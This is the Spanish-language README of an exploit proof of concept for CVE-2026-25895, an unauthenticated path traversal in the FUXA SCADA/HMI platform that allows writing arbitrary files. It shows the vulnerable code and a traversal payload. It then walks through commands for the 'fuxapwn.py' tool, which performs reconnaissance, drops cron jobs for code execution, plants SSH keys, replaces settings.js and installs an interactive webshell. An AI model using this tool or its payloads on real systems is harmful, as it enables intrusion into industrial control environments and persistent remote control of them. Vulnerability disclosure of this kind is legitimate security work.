
Exploit POC para CVE-2026-25895 FUXA: Path Traversal sin autenticación -> Escritura arbitraria de archivos -> RCE
Escritura arbitraria de archivos no autenticada (pre-auth) contra FUXA, una plataforma SCADA/HMI basada en Node.js. Encadena a ejecución remota de código mediante varias primitivas posteriores a la escritura. Funciona incluso cuando secureEnabled = true (autenticación activada) porque el endpoint vulnerable no tiene middleware asociado.
También disponible en ExploitDB: https://www.exploit-db.com/exploits/52568
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-25895 |
| Afectado | FUXA <= 1.2.9 |
| Parcheado | FUXA 1.2.10 |
| Proveedor | frangoteam / FUXA |
| Vector de ataque | Red (HTTP/HTTPS) |
| Autenticación | No se requiere |
| Impacto | Escritura arbitraria de archivos, ejecución remota de código |
| CVSS v3.1 | 9.8 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Investigador | Anthony Cihan (Hann1bl3L3ct3r) |
El endpoint POST /api/upload de FUXA (server/api/projects/index.js:193) está registrado sin middleware, omitiendo tanto la comprobación secureFnc de JWT / clave API como la compuerta de permisos de administrador aplicada a todos los demás endpoints de gestión de proyectos. Dentro del manejador, el campo destination del cuerpo JSON se concatena a una ruta del sistema de archivos con solo un guion bajo inicial y sin normalización ni comprobación de contención:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
Un valor de destination con la forma a/../../../../../etc (donde a absorbe el prefijo de guion bajo inicial) hace que path.resolve de Node salga de appDir hacia cualquier ubicación en la que el proceso de FUXA pueda escribir. Debido a que fs.writeFileSync está precedido por un fs.mkdirSync(dir, { recursive: true }) condicional, el atacante también puede crear los directorios padre según sea necesario.
El resultado es una primitiva de escritura arbitraria de archivos no autenticada, accesible en el puerto HTTP por defecto (1881), explotable pre-auth independientemente de si el administrador de FUXA ha habilitado el inicio de sesión.
Un atacante remoto no autenticado puede:
settings.js para lograr ejecución de código en el siguiente reinicio de FUXA/etc/cron.d/<file>) para ejecución de código en menos de 60 segundos cuando FUXA se ejecuta como root (el valor por defecto en la imagen Docker del proveedor)/root/.ssh/authorized_keys o en el ~/.ssh/authorized_keys de cualquier usuarioEste es un hallazgo de severidad crítica pre-auth en una plataforma ICS/SCADA utilizada para operar procesos industriales.
| Versión | Estado |
|---|---|
<= 1.2.9 | Vulnerable |
1.2.10+ | Parcheado |
Explotación confirmada contra una instalación limpia de FUXA 1.2.9 en Ubuntu Server.
Script Python 3 de un solo archivo, con una única dependencia de terceros (requests).
pip install requests
python3 fuxapwn.py --help
Identifica el usuario del SO en ejecución, la exposición de Node-RED y cualquier otra cuenta en el host sin escribir nada inusual:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
Escribe un marcador neutral /tmp/healthcheck (sin IOCs específicos del CVE en el nombre del archivo ni en el contenido):
python3 fuxapwn.py -u http://target:1881 --mode canary
Si FUXA se ejecuta como root, coloca un archivo cron que se active en menos de 60 segundos sin necesidad de reiniciar FUXA:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsInstala un listener de webshell HTTP dentro del proceso Node de FUXA (se activa en el siguiente arranque en frío, ya que require() almacena en caché los módulos) y luego inicia un REPL interactivo cuando FUXA se reinicie:
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
| Modo | Propósito |
|---|---|
recon | Fuga de información no autenticada mediante GET /api/settings; deduce el usuario del SO en ejecución a partir de rutas absolutas; informa del estado de Node-RED; sondas activas opcionales --probe-root y --probe-home |
canary | Prueba de la primitiva de escritura de archivos con una ruta neutral por defecto |
settings-rce | Reemplaza settings.js con un payload que ejecuta un comando configurable en el siguiente arranque en frío de FUXA |
ssh-key | Escribe una clave pública en el authorized_keys de un usuario objetivo |
drop | Colocación arbitraria de archivos en cualquier ruta absoluta |
cron | Coloca /etc/cron.d/<name> para lograr RCE en menos de 60 segundos sin esperar un reinicio de FUXA (requiere que FUXA se ejecute como root) |
webshell | Instala un listener de webshell HTTP dentro del proceso Node de FUXA mediante el reemplazo de settings.js (se activa en el siguiente arranque en frío) |
webshell-exec | Cliente para una webshell ya instalada; comando único o REPL con --interact |
Referencia completa de flags por modo: python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) está registrado sin middleware y devuelve la configuración de runtime en vivo, ligeramente depurada (el servidor elimina secretCode y smtp.password antes de enviarla). Los campos restantes filtran rutas absolutas (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) que normalmente identifican al usuario del servicio, además de nodeRedEnabled, que es un indicador directo de una vía secundaria de RCE no autenticada (ver más abajo).
Cuando FUXA se lanza mediante npm start bajo una cuenta de usuario local y las rutas de instalación no incorporan el nombre del usuario (p. ej., la instalación se encuentra en /opt, /tmp o un /app genérico), y /root/ no es escribible, el POC recurre a iterar /home/<candidate>/ con escrituras de cero bytes.